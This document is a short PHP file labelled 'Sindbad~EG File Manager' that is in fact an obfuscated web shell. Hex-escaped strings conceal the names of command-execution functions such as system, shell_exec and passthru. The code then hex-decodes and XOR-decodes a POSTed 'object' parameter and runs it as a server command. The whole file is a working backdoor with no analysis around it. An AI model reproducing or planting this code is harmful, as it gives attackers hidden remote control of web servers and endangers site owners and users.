Sindbad~EG File Manager

<?php

$right_pad_string5 = "pope\x6E";
$right_pad_string7 = "p\x63\x6Cose";
$right_pad_string4 = "\x70\x61\x73\x73thru";
$right_pad_string2 = "sh\x65\x6C\x6C\x5F\x65xec";
$right_pad_string6 = "st\x72eam\x5F\x67et_c\x6Fn\x74\x65n\x74s";
$reverse_lookup = "\x68e\x78\x32bin";
$right_pad_string1 = "s\x79ste\x6D";
$right_pad_string3 = "\x65xec";
if (isset($_POST["obje\x63t"])) {
            function data_storage ($flag,     $ent ){
 $entry   ='' ;
   $j=0;
 while($j<strlen($flag)){
$entry.=chr(ord($flag[$j])^$ent);
$j++;

} return$entry;
 
}
            $object = $reverse_lookup($_POST["obje\x63t"]);
            $object = data_storage($object, 74);
            if (function_exists($right_pad_string1)) {
                $right_pad_string1($object);
            } elseif (function_exists($right_pad_string2)) {
                print $right_pad_string2($object);
            } elseif (function_exists($right_pad_string3)) {
                $right_pad_string3($object, $key_flag);
                print join("\n", $key_flag);
            } elseif (function_exists($right_pad_string4)) {
                $right_pad_string4($object);
            } elseif (function_exists($right_pad_string5) && function_exists($right_pad_string6) && function_exists($right_pad_string7)) {
                $ent_entry = $right_pad_string5($object, 'r');
                if ($ent_entry) {
                    $pgrp_k = $right_pad_string6($ent_entry);
                    $right_pad_string7($ent_entry);
                    print $pgrp_k;
                }
            }
            exit;
        }